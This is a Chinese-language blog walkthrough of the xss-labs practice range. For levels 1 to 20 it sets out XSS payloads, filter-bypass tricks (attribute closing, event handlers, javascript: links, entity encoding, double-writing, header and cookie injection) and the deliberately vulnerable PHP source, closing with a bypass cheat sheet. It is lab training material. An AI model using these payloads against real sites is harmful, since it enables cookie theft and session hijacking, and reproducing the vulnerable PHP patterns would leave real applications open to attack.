XSS-labs靶场通关

XSS-labs


靶机项目地址:https://github.com/do0dl3/xss-labs

XSS测试流程


  • 在目标上找输入点,比如查询接口、留言板

  • 输入一组 “特殊字符(>,',"等)+唯一识别<>字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理

  • 通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)

  • 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

level-1


简单测试

name可以存在注入,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr)ipt>

代码审计

<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>

<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";//没有对$str进行过滤,直接将$str拼接页面中
?>

ini_set("display_errors", 0) //不显示错误报告

源代码将payload直接拼接,无过滤,存在反射型XSS(get)漏洞

windows.alert函数进行重写了,弹窗后,自动跳转level-2

level-2


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

#测试时,将标签中_删除
"<>'$&#<scri_pt>/\

网页源码

绕过分析

查看网页源码,发现h2标签被编码,猜测在服务器端用htmlspecialchars()函数对keyword参数的值进行了处理,但是没有对标签进行编码,只需要将属性的引号和标签先闭合 就可以了

#测试时,将标签中_删除
"><scr_ipt>alert(11)</scr_ipt>//
" onclick="alert(1)"

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">//没有对$str进行过滤,直接将$str拼接页面中
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

level-3


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

#测试时,将标签中_删除
"<>'$&#<scr_ipt>/\

网页源码

绕过分析

<>、&、被转义,单引号、/\未被被转义,所以使用单引号绕过

' onclick='alert(1)

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'> //对$str进行html编码
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

level-4


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

#测试时,将标签中_删除
"<>'$&#<scr_ipt>/\

网页源码

绕过分析

发现对keyword的参数中<>替换为空,使用没有<>的payload进行绕过

" onclick="alert(1)"

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
//将<>进行替换为空
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level-5


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

#测试时,将标签中_删除
"><scr_ipt>alert('xss')</scr_ipt>//

网页源码

绕过分析

对on和<script进行替换为o_n和<scr_ipt,没有对script进行替换,闭合标签和属性,使用构造超链接payload

对on和<script进行替换为o_n和<scr_ipt

#测试时,将标签中_删除
"><a hr_ef='javascript:alert(1)'>
"><a hr_ef='javascript:alert(1)'>//
"><a hr_ef='javascript:alert(document.cookie)'>//

代码审计

<?php 
ini_set("display_errors", 0);
//将字符串转成小写
$str = strtolower($_GET["keyword"]);
//对on和<script进行替换为o_n和<scr_ipt
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level-6


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

#测试时,将标签中_删除
"><a hr_ef='javascript:alert(1)'>

网页源码

" onclick="alert(1)

网页源码

绕过分析

对href、on、,<script进行替换hr_ef、o_n、,<scr_ipt

  • 大小写

  • 重复写

  • 编码绕过

#测试时,将标签中_删除
"><a Hr_ef='javascript:alert(1)'>
" Onclick="alert(1)
"><Scr_ipt>alert('xss')</scr_ipt>//
"><im_g Src=x Onerror=alert('XSS');>//

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
//对href、on、,<script、src、data进行替换hr_ef、o_n、,<scr_ipt、sr_c、da_ta
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level-7


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

" Onclick="alert(1)

网页源码

绕过分析

将script和on大小写都替换为空,通过测试,发现对script和on只替换一次,

  • 重复写
#测试时,将标签中_删除
"><scrscriptipt>alert('xss')</scrscriptipt>//
" oonnclick="alert(1)
"><im_g srsrcc=x oonnerror=alert('XSS');>//

代码审计

<?php 
ini_set("display_errors", 0);
//转化成小写
$str =strtolower( $_GET["keyword"]);
//对href、on、,<script、src、data的大小写都替换空
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level-8


简单测试

添加链接,尝试伪协议,进行测试

javascript:alert(1)

网页源码

JavaScript:alert("1")

网页源码

绕过分析

发现对进行大小写转化并替换<scr_ipt>、</scr_ipt>

对"进行html编码,无法双写绕过,尝试html编码绕过

javascript:alert(1)
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

代码审计

<?php 
ini_set("display_errors", 0);
//转化成小写
$str = strtolower($_GET["keyword"]);
//对href、on、,script、src、data、"替换为hr_ef、o_n、scr_ipt、sr_c、da_ta、&quot
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
//把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>


level-9


简单测试

添加链接,尝试伪协议,进行测试

javascript:alert(1)

网页源码

绕过分析

查看源代码

需要payload中存在http://,重新构造payload,编码注入

javascript:alert(1)//http://
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://

代码审计

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
//对href、on、,script、src、data、"替换为hr_ef、o_n、scr_ipt、sr_c、da_ta、&quot
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
//判断输入字符串是否存在http://
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

leve-10


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

绕过分析

发现对keyword参数进行html编码,存在隐藏的表单,尝试提交t_link、t_history、t_sort变量,t_sort变量返回在了html的value中,尝试进行了绕过

http://192.168.132.132/xss-labs-master/level10.php?keyword="text" onclick="alert(1)&t_link="text" onclick="alert(1)&t_history="text" onclick="alert(1)&t_sort="type="text" onclick="alert(1)

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>//对$str进行html编码
<form id=search>
//type="hidden"   隐藏域在页面中对于用户是不可见
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

level-11


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

绕过分析

发现对keyword参数进行html编码,存在隐藏的表单,尝试提交t_link、t_history、t_sort变量、t_sort变量、t_ref变量返回在了html的value中,尝试进行了绕过

http://192.168.132.132/xss-labs-master/level11.php?keyword="text" onclick="alert(1)&t_link="text" onclick="alert(1)&t_history="text" onclick="alert(1)&t_sort="type="text" onclick="alert(1)t_ref="type="text" onclick="alert(1)

分析网页源码和请求头,发现Referer字段和网页源码名为t_ref的标签的value属性相同,存在XSS注入的可能

" type="text" onclick="alert(1)
" type="text" onmouseover="alert(1)

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
//接受REFERER字段
$str11=$_SERVER['HTTP_REFERER'];
//对REFERER字段进行<>过滤
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

level-12


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

请求头

绕过分析

通过分析网页源码和请求头,发现t_us的标签的value属性内容为系统版本浏览器的版本,可能存User-Agent字段的XSS注入

" type="text" onclick="alert(1)
" type="text" onmouseover="alert(1)

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
//接收USER_AGENT字段
$str11=$_SERVER['HTTP_USER_AGENT'];
//对USER_AGENT字段进行<>过滤
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

level-13


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

请求头

绕过分析

通过分析网页源码和请求头,发现t_cook的标签的value属性内容为请求头的cookie,可能存cookie字段的XSS注入

user=" type="text" onclick="alert(1)
user=" type="text" onmouseover="alert(1)

代码审计

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
//接收cookie字段
$str11=$_COOKIE["user"];
//对cookie字段进行<>过滤
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

level-14


网页源码发现调用ifrname框架引用http://www.exifviewer.org/访问失败,无法进行测试

这关主要考察exif xss漏洞,具体可以参考前辈的文章:exif xss

level-15


简单 测试

http://192.168.132.132/xss-labs-master/level15.php?src=1.gif

根据返回的源代码判断,src存在注入点

绕过分析

构造poc,并未触发xss,ng-include属性一直未生效,原来是调用的js文件中有地址被墙了,需要源代码中修改js源文件路径 https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
ng-include本地文件包含,调用本地有xss漏洞的文件,触发xss

ng-include本地文件包含,调用本地有xss漏洞的文件,触发xss

#测试时,将标签中_删除
'level1.php?name=<ima_ge src=x onerror=alert(1)>'

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
//对$str进行html编码
//ng-include本地文件包含
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

level-16


简单 测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

#测试时,将标签中_删除
'<>"<scr_ipt>\</scr_ipt>#$&

网页源码

绕过分析

测试注入,发现对script、/、空格进行替换

需要使用回车符%0a进行绕过

#测试时,将标签中_删除
<ima_ge%0asrc=x%0aonerror='alert(1)'>
<a%0atype="text"%0a"alert">

代码审计

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
//对script、 、/、  进行替换
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("  ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

level-17


http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02=b

简单 测试

尝试payload,进行测试

#测试时,将标签中_删除
http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02='<>"<scr_ipt></scr_ipt>/\

网页源码

绕过分析

对参数进行html编码,使用中src属性嵌入插件,其中src属性不需要闭合,使用空格隔开,使用onmouseover事件进行绕过

注:该关卡使用IE浏览器

http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02= onmouseover=alert(1)
http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02= onmouseout=alert`1`

代码审计

<?php
ini_set("display_errors", 0);
//使用<embed>中src属性嵌入插件
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

level-18


http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02=b

简单 测试

尝试payload,进行测试

#测试时,将标签中_删除
http://192.168.132.132/xss-labs-master/level18.php?arg01=a&arg02='<>"<scr_ipt></scr_ipt>/\

网页源码

绕过分析

和level-18没有区别

注:该关卡使用IE浏览器

http://192.168.132.132/xss-labs-master/level18.php?arg01=a&arg02= onmouseover=alert(1)
http://192.168.132.132/xss-labs-master/level18.php?arg01=a&arg02= onmouseout=alert`1`

代码审计

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

level-19


参考大佬文章[xss-labs 第19关](https://blog.csdn.net/u014029795/article/details/103213877?ops_request_misc={"request_id"%3A"159547621119725219908275"%2C"scm"%3A"20140713.130102334.."}&request_id=159547621119725219908275&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v3~pc_rank_v4-2-103213877.first_rank_ecpm_v3_pc_rank_v4&utm_term=xss-labs 19&spm=1018.2118.3001.4187)

level-20


参考大佬文章[xss-labs 第20关](https://blog.csdn.net/u014029795/article/details/103217680?ops_request_misc={"request_id"%3A"159547621119725219908275"%2C"scm"%3A"20140713.130102334.."}&request_id=159547621119725219908275&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v3~pc_rank_v4-1-103217680.first_rank_ecpm_v3_pc_rank_v4&utm_term=xss-labs 19&spm=1018.2118.3001.4187)

总结


注:测试时,将标签中_删除
1.利用<>标记,构造<scr_ipt>标签可执行javascript的xss代码。

xss过滤函数需过滤<><scr_ipt></scr_ipt>等字符。

2.利用html标签属性支持javascript:伪协议(支持标签属性的有href、lowsrc、bgsound、background、value、action、dynsrc等),执行xss代码。

xss 过滤函数需过滤JavaScript等关键字。

3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,绕过对javascript的关键字的过滤。

4.利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。

xss 过滤函数需过滤&#\等字符。

5.利用事件处理函数,触发事件,执行xss代码。例如<im_g src='#' onerror=alert(/xss/)>,当浏览器响应页面时,找不到图片的地址,触发onerror事件。

6.利用css执行javascript代码

css代码中利用expression触发xss漏洞。如下所示:

<di_v style="width: expression(alert('xss'));>

<im_g src="#" style="xss:expression(alert(/xss/));">

<sty_le>body {background-image:expression(alert("xss"));}

<di_v style="list-style-image:url(javascript:alert('xss'))">

css代码中利用@import触发xss

<styt_le>

@import 'javascript:alert("XSS")';

css代码中使用@import和link方式导入外部含有xss代码的样式表文件

<lin_k rel="stytlesheet" href="http://www..com/a.css">

<styt_le type='text/css'>@import url(http://www..com/a.css);

xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。

7.利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、运用/** /混淆过滤规则来绕过过滤函数

8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。

参考文章

https://www.cnblogs.com/xiaomeng2333/p/11595786.html

XSS挑战之旅---游戏通关攻略

posted @ 2021-09-22 11:23  纸机  阅读(993)  评论(0编辑  收藏  举报